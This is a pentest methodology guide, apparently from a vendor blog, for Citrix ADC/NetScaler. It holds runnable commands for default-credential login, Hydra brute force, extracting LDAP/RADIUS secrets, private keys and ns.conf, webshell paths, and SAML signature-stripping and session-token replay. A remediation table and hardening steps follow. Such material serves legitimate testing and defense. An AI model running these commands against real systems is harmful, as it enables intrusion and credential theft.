Citrix ADC (Application Delivery Controller), formerly NetScaler, is deployed at the perimeter of thousands of enterprise networks — acting as load balancer, SSL terminator, and VPN gateway simultaneously. That position makes it one of the highest-value targets in any external pentest. CVE-2023-3519 alone compromised over 2,000 organizations within days of disclosure. This guide covers authorized testing methodology for Citrix ADC, from NITRO API enumeration through ns.conf credential extraction and SAML SSO abuse.
Citrix ADC runs on FreeBSD with a custom kernel module (nsvpx on virtual appliances). It presents multiple interfaces:
Common deployment modes include load balancer, SSL offload, Citrix Gateway (ICA proxy for XenApp/XenDesktop), and AAA (authentication/authorization gateway). Each mode exposes different attack surfaces:
| Deployment Mode | Default Ports | Primary Attack Surface |
|---|---|---|
| Load Balancer | 80, 443, VIP-specific | Backend service exposure, header injection |
| Citrix Gateway | 443 (/vpn/, /citrix/) | Auth bypass, session hijacking, ICA credential theft |
| AAA Gateway | 443 (/aaatm/) | SAML/OAuth relay, credential harvesting |
| Management (NSIP) | 80, 443, 22 | NITRO API, admin credentials, CVEs |
Citrix ADC leaves distinctive fingerprints across HTTP headers, login pages, and certificate subjects. Accurate version detection is critical since patch status determines exploitability.
# Probe the Citrix Gateway portal page
curl -sk https://TARGET/vpn/index.html -I
# Look for:
# Set-Cookie: NSC_TMAA... (NetScaler session cookie prefix)
# X-NS-Version: ... (sometimes present in headers)
# Server: Apache (Citrix often proxies Apache)
# Check login page for version disclosure
curl -sk https://TARGET/logon/LogonPoint/index.html | grep -i "version\|release\|build"
# The ns_gui path leaks version info
curl -sk https://TARGET/ns_gui/vpn/login.js | head -5
# The nsconfig NITRO endpoint reveals firmware version without auth on older builds
curl -sk https://MGMT-IP/nitro/v1/config/nsversion -H "Content-Type: application/json"
# Expected response (pre-patch on some versions):
# {"nsversion":{"version":"NetScaler NS13.1: Build 49.13","mode":"1"}}
# Authenticated version check
curl -sk -u nsroot:PASSWORD https://MGMT-IP/nitro/v1/config/nsversion
nmap -sV -p 80,443,22 --script=http-title,ssl-cert TARGET
# CitrixADC-specific NSE (community script)
nmap --script=citrix-brute -p 443 TARGET
# Manual banner grab from Citrix SSH
ssh -o StrictHostKeyChecking=no TARGET 2>&1 | head -3
# NetScaler banner: "NetScaler NS13.x"
CVE-2023-3519 (CVSS 9.8) is an unauthenticated stack buffer overflow in Citrix ADC and Gateway. Versions 13.1 before 13.1-49.13, 13.0 before 13.0-91.13, and 12.1 before 12.1-65.21 are affected when configured as a Gateway or AAA virtual server. Within 72 hours of PoC publication, threat actors mass-compromised over 2,000 NetScaler appliances.
The appliance must be configured as a Citrix Gateway (SSL VPN) or as an Authentication, Authorization, and Auditing (AAA) virtual server. Pure load-balancer configurations without Gateway licensing are not affected.
# Check if Gateway is configured (unauthenticated on some builds)
curl -sk https://TARGET/ -I | grep -i "location\|citrix\|vpn"
# Gateway portal response confirms target is in-scope for CVE-2023-3519
curl -sk https://TARGET/vpn/index.html | grep -i "citrix gateway\|netscaler gateway"
# The vulnerability is triggered via a malformed HTTP/2 request to the DTLS/QUIC handler
# PoC exploits target the /o.html or /p endpoint on affected versions
# Step 1: Verify target is unpatched (check /logon endpoint HTTP/2 support)
curl -sk --http2 https://TARGET/logon/LogonPoint/tmindex.html -I | head -10
# Step 2: Mass exploitation tools (for authorized red team assessments)
# nuclei template: CVE-2023-3519
nuclei -u https://TARGET -t cves/2023/CVE-2023-3519.yaml
# Step 3: If RCE confirmed, typical webshell drop path
# Attacker writes to /netscaler/ns_gui/vpn/ or /var/netscaler/gui/vpn/
# Webshell accessible via https://TARGET/vpn/[webshell.php]
# Step 4: Post-exploitation — read ns.conf
cat /nsconfig/ns.conf # Contains ALL credentials in cleartext
# Patched versions return 400 for malformed HTTP/2 requests to DTLS handler
# Unpatched versions may crash or return unexpected responses
# Use nuclei for safe detection without triggering crash
nuclei -u https://TARGET -t cves/2023/CVE-2023-3519.yaml -severity critical
# Check version against patched list
curl -sk https://MGMT-IP/nitro/v1/config/nsversion 2>/dev/null | python3 -c "
import sys, json
data = json.load(sys.stdin)
print(data.get('nsversion', {}).get('version', 'unknown'))
"
# Patched: NS13.1: Build 49.13+
# Patched: NS13.0: Build 91.13+
# Patched: NS12.1: Build 65.21+
The NITRO REST API is the management interface for Citrix ADC. It runs on the management IP (not VIP) but is sometimes accidentally exposed to the internet, particularly in cloud deployments. Authentication uses session cookies or HTTP Basic auth.
# Authenticate and get session token
curl -sk -c cookies.txt -X POST https://MGMT-IP/nitro/v1/config/login \
-H "Content-Type: application/json" \
-d '{"login":{"username":"nsroot","password":"nsroot"}}'
# Response contains Set-Cookie: NITRO_AUTH_TOKEN=...
# Use session token for subsequent requests
curl -sk -b cookies.txt https://MGMT-IP/nitro/v1/config/nsip | python3 -m json.tool
# Alternative: HTTP Basic auth
curl -sk -u nsroot:nsroot https://MGMT-IP/nitro/v1/config/nsglobalvars
Citrix ADC ships with nsroot / nsroot as the default administrator credentials. This is the single most common finding in NetScaler assessments — organizations deploy the appliance and never change the default password.
# Test default credentials
curl -sk -X POST https://MGMT-IP/nitro/v1/config/login \
-H "Content-Type: application/json" \
-d '{"login":{"username":"nsroot","password":"nsroot"}}' | grep -i "errorcode\|authenticated"
# Common credential variants to test
# nsroot / nsroot
# nsroot / PASSWORD (from ns.conf if partially accessible)
# admin / admin (rare, older builds)
# Brute force via Hydra (authorized engagements only)
hydra -l nsroot -P /usr/share/wordlists/rockyou.txt MGMT-IP https-post-form \
"/nitro/v1/config/login:login={\"login\":{\"username\":\"^USER^\",\"password\":\"^PASS^\"}}:errorcode"
# List all system users
curl -sk -b cookies.txt "https://MGMT-IP/nitro/v1/config/systemuser" | python3 -m json.tool
# Retrieve LDAP authentication policies (contains bind DNs and passwords)
curl -sk -b cookies.txt "https://MGMT-IP/nitro/v1/config/authenticationldapaction" | python3 -m json.tool
# RADIUS shared secrets
curl -sk -b cookies.txt "https://MGMT-IP/nitro/v1/config/authenticationradiusaction" | python3 -m json.tool
# SSL certificates and private keys
curl -sk -b cookies.txt "https://MGMT-IP/nitro/v1/config/sslcertkey" | python3 -m json.tool
# Download private key file
curl -sk -b cookies.txt "https://MGMT-IP/nitro/v1/config/systemfile?args=filename:/nsconfig/ssl/server.key,filelocation:/nsconfig/ssl/" | python3 -c "
import sys, json, base64
data = json.load(sys.stdin)
for f in data.get('systemfile', []):
if f.get('fileencoding') == 'BASE64':
print(base64.b64decode(f['filecontent']).decode())
"
The /nsconfig/ns.conf file is the master configuration for Citrix ADC. It contains all credentials in plaintext or weakly obfuscated form. If you gain any file read capability (via RCE, path traversal, or backup restore), ns.conf is the primary target.
# LDAP authentication action (AD bind credentials)
grep -i "ldapaction\|binddn\|ldappw\|bindpasswd" /nsconfig/ns.conf
# Example output:
# add authentication ldapAction corp_ldap -serverIP 192.168.1.10 \
# -ldapBase "DC=corp,DC=local" -ldapBindDn "CN=citrix_svc,DC=corp,DC=local" \
# -ldapBindDnPassword "ServicePass123!"
# RADIUS shared secret
grep -i "radiusaction\|radkey\|radiussecret" /nsconfig/ns.conf
# System user password hashes (MD5 or sha512crypt)
grep -i "systemuser" /nsconfig/ns.conf
# add system user nsroot PASSWORD -timeout 900
# SSL private key paths (then download the actual key)
grep -i "sslcertkey\|certfile\|keyfile" /nsconfig/ns.conf
# Backend server credentials for content switching
grep -i "servicegroup\|monitor.*user\|monitor.*passwd" /nsconfig/ns.conf
# Download ns.conf via NITRO API (requires auth)
curl -sk -b cookies.txt \
"https://MGMT-IP/nitro/v1/config/systemfile?args=filename:ns.conf,filelocation:/nsconfig/" \
| python3 -c "
import sys, json, base64
data = json.load(sys.stdin)
content = data['systemfile'][0]['filecontent']
print(base64.b64decode(content).decode())
" > ns.conf.recovered
# Extract all passwords from recovered ns.conf
grep -iE "password|passwd|secret|key|bindpw" ns.conf.recovered
# Citrix ADC backups are tar.gz archives containing ns.conf
# If backup download is accessible via NITRO:
curl -sk -b cookies.txt -X POST "https://MGMT-IP/nitro/v1/config/systembackup?action=create" \
-H "Content-Type: application/json" \
-d '{"systembackup":{"filename":"pentest_backup","useentrire_config":"true","comment":"test"}}'
# List available backups
curl -sk -b cookies.txt "https://MGMT-IP/nitro/v1/config/systembackup" | python3 -m json.tool
# Download backup
curl -sk -b cookies.txt \
"https://MGMT-IP/nitro/v1/config/systemfile?args=filename:pentest_backup.tgz,filelocation:/var/ns_sys_backup/" \
-o backup.tgz
tar xzf backup.tgz && grep -r "password\|passwd\|secret" nsconfig/
The NSIP management interface should never be exposed to the internet. In practice, cloud deployments (AWS, Azure, GCP) frequently expose it because the security group configuration is copied from a more permissive template.
# The management GUI has a distinctive login page
curl -sk https://TARGET/menu/neo -I | grep -i "citrix\|netscaler\|location"
# Or direct GUI check
curl -sk https://TARGET/ | grep -i "management\|nsroot\|citrix adc"
# Port scan for management services
nmap -sV -p 22,80,443,3008,3009,3010,9100 TARGET
# Port 3008-3010: internal IPC (should never be public)
# Port 9100: nsmonitor (rarely public but indicative of mgmt access)
# Shodan dork for exposed Citrix management interfaces
# title:"NetScaler" port:443
# http.title:"NetScaler" country:US
# Default SSH credentials
ssh nsroot@MGMT-IP
# Password: nsroot (default)
# Once in the restricted Citrix shell (CLI):
show ns config # Full configuration
show system user # All system users
show authentication ldapAction # LDAP credentials
shell # Drop to FreeBSD shell (requires SUPERUSER permission)
# From FreeBSD shell
cat /nsconfig/ns.conf
cat /etc/passwd
cat /etc/shadow # May have nsroot hash
Virtual servers (VIPs) are the front-end addresses that Citrix ADC proxies to backend servers. Enumerating them reveals backend infrastructure, internal services, and misconfigured access controls.
# List all load-balancing virtual servers
curl -sk -b cookies.txt "https://MGMT-IP/nitro/v1/config/lbvserver" | python3 -c "
import sys, json
data = json.load(sys.stdin)
for vs in data.get('lbvserver', []):
print(f\"{vs['name']}: {vs.get('ipv46','')}: {vs.get('port','')} -> {vs.get('servicetype','')}\")"
# List Citrix Gateway virtual servers
curl -sk -b cookies.txt "https://MGMT-IP/nitro/v1/config/vpnvserver" | python3 -m json.tool
# Get service groups (reveals backend server IPs and ports)
curl -sk -b cookies.txt "https://MGMT-IP/nitro/v1/config/servicegroup" | python3 -c "
import sys, json
data = json.load(sys.stdin)
for sg in data.get('servicegroup', []):
print(f\"{sg['servicegroupname']}: {sg.get('servicetype','')}\")"
# Get service group members (actual backend servers)
curl -sk -b cookies.txt "https://MGMT-IP/nitro/v1/config/servicegroupmember" | python3 -c "
import sys, json
data = json.load(sys.stdin)
for m in data.get('servicegroupmember', []):
print(f\"Backend: {m.get('ip','')}:{m.get('port','')} in {m.get('servicegroupname','')}\")"
# Content switching reveals URL routing rules — maps public URLs to internal backends
curl -sk -b cookies.txt "https://MGMT-IP/nitro/v1/config/cspolicy" | python3 -m json.tool
# CS virtual servers
curl -sk -b cookies.txt "https://MGMT-IP/nitro/v1/config/csvserver" | python3 -c "
import sys, json
data = json.load(sys.stdin)
for vs in data.get('csvserver', []):
print(f\"{vs['name']}: {vs.get('ipv46','')}: {vs.get('port','')}\")"
# Rewrite policies (can reveal internal URL structures and header manipulation)
curl -sk -b cookies.txt "https://MGMT-IP/nitro/v1/config/rewritepolicy" | python3 -m json.tool
Many organizations configure Citrix ADC as a SAML service provider or identity provider. Misconfigured SAML implementations allow authentication bypass, attribute injection, and cross-tenant access.
# Citrix Gateway SAML SP metadata (often publicly accessible)
curl -sk https://TARGET/saml/login | grep -i "metadata\|entityid\|assertion"
# Direct metadata endpoint
curl -sk https://TARGET/saml/metadata.xml
# Reveals: EntityID, ACS URL, certificate, NameID format
# SAML SP configuration via NITRO
curl -sk -b cookies.txt "https://MGMT-IP/nitro/v1/config/authenticationsamlaction" | python3 -m json.tool
# Capture a valid SAML assertion (requires initial auth flow)
# Use Burp Suite to intercept the SAML POST to:
# POST https://TARGET/cgi/samlauth
# Common SAML vulnerabilities on Citrix ADC:
# 1. Signature exclusion — remove ds:Signature element; some versions accept unsigned assertions
# 2. NameID manipulation — change username in assertion if signature not validated
# 3. XML signature wrapping (XSW) — wrap valid signature around attacker-controlled assertion
# 4. Recipient mismatch — change ACS URL in assertion
# Burp Suite extension: SAML Raider for automated XSW attacks
# Test for unsigned assertion acceptance
# Remove the ds:Signature block from a captured SAML response
# Base64-encode the modified XML
# POST to /cgi/samlauth and observe if authentication succeeds
# When Citrix ADC acts as SAML IDP, it can be abused to forge assertions to SP applications
# Extract IDP signing certificate and private key via NITRO
curl -sk -b cookies.txt \
"https://MGMT-IP/nitro/v1/config/authenticationsamlidpprofile" | python3 -m json.tool
# If you have the IDP signing key (from ns.conf extraction), forge assertions:
# python3 -c "
# from lxml import etree
# from signxml import XMLSigner
# # Load stolen key and craft assertion for privileged user
# "
# Alternatively: test for SP-initiated flow with forged NameID
# Many Citrix SAML IDP configurations accept forged RelayState values
Citrix Gateway provides SSL VPN access and ICA proxy for Citrix Virtual Apps and Desktops. Active sessions expose ICA tickets and can be used to access internal resources.
# Citrix Gateway session cookies follow a predictable pattern
# NSC_TMAA (AAA session) and CTX_AT (ICA session)
# These are non-guessable but testable for session fixation
# Test session fixation on Gateway login
curl -sk https://TARGET/vpn/index.html -c cookie.txt -b "NSC_TMAA=FIXATED_VALUE"
# Check if cookie is reset post-auth
curl -sk -X POST https://TARGET/vpn/index.html \
-b cookie.txt -c cookie-post.txt \
-d "login=user&passwd=password&StateContext="
diff <(grep NSC_TMAA cookie.txt) <(grep NSC_TMAA cookie-post.txt)
# Valid session check
curl -sk -b "NSC_TMAA=YOUR_SESSION_COOKIE" https://TARGET/vpn/index.html | grep -i "logout\|username"
# ICA tickets (CTX_AT= cookies) are short-lived Citrix session tokens
# They allow access to Citrix Virtual Apps/Desktops resources
# If intercepted, they can be replayed until expiry (typically 200 seconds)
# Force ICA ticket generation via StoreFront API
curl -sk -b "NSC_TMAA=SESSION" \
-H "X-Citrix-IsUsingHTTPS: Yes" \
https://TARGET/Citrix/StoreWeb/Resources/List \
| python3 -m json.tool
# ICA ticket is returned in LaunchIca endpoint
curl -sk -b "NSC_TMAA=SESSION" \
"https://TARGET/Citrix/StoreWeb/Resources/LaunchIca/desktopid" \
| grep -i "ctxat\|ticket"
Citrix ADC hardening requires attention across network access controls, authentication, and patch management simultaneously.
| Finding | Risk | Remediation |
|---|---|---|
| CVE-2023-3519 unpatched | Critical | Upgrade to NS13.1-49.13+, 13.0-91.13+, or 12.1-65.21+ |
| Default nsroot credentials | Critical | Change on first boot; enforce complexity policy |
| NSIP exposed to internet | Critical | Restrict to management VLAN; use dedicated OOB management network |
| NITRO API accessible externally | High | ACL to management IPs only; disable if not required |
| LDAP bind credentials in ns.conf | High | Use a dedicated service account with minimal permissions; rotate if exposed |
| SSL private keys on appliance | High | Use HSM offload; restrict key file permissions; rotate post-compromise |
| SAML signature not enforced | High | Enforce signature validation on all SAML assertions; use latest ADC firmware |
| Session fixation on Gateway | Medium | Enable session regeneration post-auth; use Secure/HttpOnly flags |
# Restrict NSIP access via NSCL (Citrix ADC CLI)
set ns ip MGMT-IP -mgmtAccess ENABLED -restrictAccess ENABLED
# Configure management ACL
add ns acl mgmt_allow ALLOW -srcIP 192.168.100.0-192.168.100.255 -destIP MGMT-IP
apply ns acl
# Enable two-factor authentication for admin access
add authentication ldapAction corp_ldap -serverIP AD-IP ...
add authentication policy ldap_pol -rule true -action corp_ldap
bind authentication vserver mgmt_vs -policy ldap_pol -priority 100
# Disable HTTP management (HTTPS only)
set ns ip MGMT-IP -httpPort 0
# Set minimum password complexity
set system user nsroot -password "ComplexPassword123!" -expiryPeriod 90
Ironimo orchestrates 19 Kali Linux tools — nmap, nuclei, nikto, and more — in coordinated scan sequences. CVE detection, credential testing, and service enumeration automated in a single workflow.
Start free scanCitrix ADC / NetScaler is a high-value target in any enterprise pentest. The attack surface spans unauthenticated CVEs like CVE-2023-3519, the NITRO management API, ns.conf credential extraction, SAML SSO misconfiguration, and ICA session token harvesting. The management interface (NSIP) exposed to the internet is the most common finding — it directly exposes every credential in the appliance.
For authorized assessments: start with fingerprinting and version detection, check for CVE-2023-3519 applicability, probe default credentials, and if access is obtained, systematically extract credentials from ns.conf before pivoting to backend systems. The lateral movement potential from a compromised NetScaler to Active Directory is often direct via the LDAP bind credentials it stores.